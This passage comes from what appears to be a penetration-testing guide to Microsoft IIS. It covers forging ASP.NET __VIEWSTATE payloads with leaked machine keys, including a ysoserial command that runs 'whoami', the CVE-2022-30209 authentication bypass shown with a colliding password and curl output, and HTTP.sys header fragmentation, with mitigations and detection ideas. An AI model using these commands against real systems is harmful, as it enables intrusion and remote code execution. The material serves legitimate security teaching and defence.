reused to: 615 616 - forge malicious `__VIEWSTATE` payloads 617 - decrypt or forge `.ASPXAUTH` / ASP.NET application cookies 618 - pivot across sibling IIS nodes that reuse the same static keys 619 620 In 2025, Microsoft documented real intrusions abusing **publicly disclosed ASP.NET machine keys**, and reported identifying **more than 3,000 exposed keys** in public sources.<sup>[[13]](#references)</sup> Therefore, if you recover one key pair from a single app, test whether the same keys are reused across the rest of the farm. 621 622 ```bash 623 # Try known/public keys first 624 badsecrets --url https://target.example/app/login.aspx 625 626 # If you already know the real keys, generate a ViewState payload 627 ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami" \ 628 --path="/app/login.aspx" --apppath="/" \ 629 --validationalg="SHA1" --validationkey="<VALIDATION_KEY>" \ 630 --decryptionalg="AES" --decryptionkey="<DECRYPTION_KEY>" 631 ``` 632 633 For the **legacy vs .NET 4.5+** details, `__VIEWSTATEGENERATOR`, `ViewStateUserKey`, split ViewState, and known-key bruteforce workflows, check [Exploiting `__VIEWSTATE`](/hacktricks/pentesting-web/deserialization/exploiting-viewstate-parameter) and [Exploiting `__VIEWSTATE` Knowing the Secret](/hacktricks/pentesting-web/deserialization/exploiting-viewstate-knowing-the-secret). 634 635 ## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a> 636 637 [The full report](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html) explains that the affected code **did not properly validate the submitted password**. An attacker whose **password hash collides with a key already in the cache** could therefore log in as that user.<sup>[[14]](#references)</sup> 638 639 ```python 640 # script for sanity check 641 > type test.py 642 def HashString(password): 643 j = 0 644 for c in map(ord, password): 645 j = c + (101*j)&0xffffffff 646 return j 647 648 assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT') 649 650 # before the successful login 651 > curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP 652 HTTP/1.1 401 Unauthorized 653 654 # after the successful login 655 > curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP 656 HTTP/1.1 200 OK 657 ``` 658 659 660 ## HTTP.sys HTTPS header-line fragmentation 661 662 When IIS or another Windows service is backed by **HTTP.sys over HTTPS**, remember that **TLS record boundaries can become parser-relevant boundaries**. SChannel decrypts **each TLS application-data record independently** and HTTP.sys may account for each decrypted record as a different internal receive buffer instead of as one normalized byte stream.<sup>[[15]](#references)[[16]](#references)</sup> 663 664 ### Why this matters 665 666 If the target parses **HTTP/1.x headers** and fully consumes each buffer without merging it, an attacker can try to force a near **1:1 mapping between TLS records and internal buffer references** by sending: 667 668 - **one complete header line per TLS record** 669 - each line terminated with **`CRLF`** 670 - a **single long-lived HTTPS request** 671 672 This is useful when the backend keeps **per-buffer metadata** during header parsing. In the 2026 HTTP.sys bug, that metadata growth reached an [integer overflow](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/binary-exploitation/integer-overflow-and-underflow.md) condition in the array capacity field, which later caused a **tiny reallocation + oversized `memmove`** kernel pool overflow.<sup>[[15]](#references)[[16]](#references)</sup> 673 674 ### Practical exploitation notes 675 676 - This technique was **HTTPS-only** because plaintext HTTP is more likely to be **coalesced/merged** before the parser sees separate buffers.<sup>[[15]](#references)[[16]](#references)</sup> 677 - The vulnerable path was **HTTP/1.x header parsing**. **HTTP/2** / **HTTP/3** and **HTTP body parsing** did not hit the same logic. 678 - Exploitation required **tens of thousands of tiny header lines** split across TLS records, so very large request-header limits were needed. 679 - For HTTP.sys specifically, check `HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters\MaxRequestBytes`. 680 - Default **`16384`** bytes is typically too small. 681 - A value **`>= 262144`** makes this specific header-count amplification path reachable. 682 - Keeping it **`<= 65535`** was documented as a conservative mitigation for unpatched systems. 683 684 ### Detection ideas 685 686 - **Best signal:** decrypt HTTPS and flag **HTTP/1.x requests with more than ~1000 header lines**.<sup>[[15]](#references)[[16]](#references)</sup> 687 - **Fallback heuristic:** on one TLS connection, alert on **more than ~1000 short application-data records** carrying small payloads. 688 - **Supplemental signal:** suspiciously **long-lived HTTPS connections** repeatedly feeding tiny records. 689 690 This is a good example of a broader review rule: if a protocol stack processes decrypted data **per TLS record**, record fragmentation may become an attacker-controlled primitive for **parser-state manipulation**, metadata exhaustion, or triggering narrow-field growth bugs. 691 692 ## References 693 694 - [1] [0xdf – HTB Job (IIS write → ASPX shell → GodPotato)](https://0xdf.gitlab.io/2026/01/26/htb-job.html) 695 - [2] [Soroush Dalili – Upload a Web.Config File for Fun & Profit](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) 696 - [3] [Humiliating IIS Servers for Fun and Jail Time](https://mll.sh/humiliating-iis-servers-for-fun-and-jail-time) 697 - [4] [MindedSecurity – From Path Traversal to Source Code in ASP.NET/IIS](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) 698 - [5] [Windows Privilege Escalation Guide – absolomb](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) 699 - [6] [Microsoft – Introduction to ApplicationHost.config](https://learn.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/introduction-to-applicationhostconfig) 700 - [7] [Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/) 701 - [8] [Soroush Dalili – Microsoft IIS Tilde Character Vulnerability/Feature (original research PDF)](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf) 702 - [9] [shortscan](https://github.com/bitquark/shortscan) 703 - [10] [Assetnote – Finding Hidden Files and Folders on IIS Using BigQuery](https://www.assetnote.io/resources/research/finding-hidden-files-and-folders-on-iis-using-bigquery) 704 - [11] [Rapid7 – ASP.NET Trace.axd Information Disclosure](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/) 705 - [12] [How I Hacked Facebook, Part Two](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) 706 - [13] [Microsoft Threat Intelligence – Code injection attacks using publicly disclosed ASP.NET machine keys](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) 707 - [14] [Orange Tsai – Let's Dance in the Cache: Destabilizing Hash Table on Microsoft IIS](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html) 708 - [15] [Zero Day Initiative – CVE-2026-47291: Remote Code Execution in the Windows HTTP.sys](https://www.thezdi.com/blog/2026/7/9/cve-2026-47291-remote-code-execution-in-the-windows-httpsys) 709 - [16] [Microsoft MSRC – CVE-2026-47291](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291) 710 - [17] [AMSI/ETW bypass background (HackTricks)](/hacktricks/windows-hardening/av-bypass)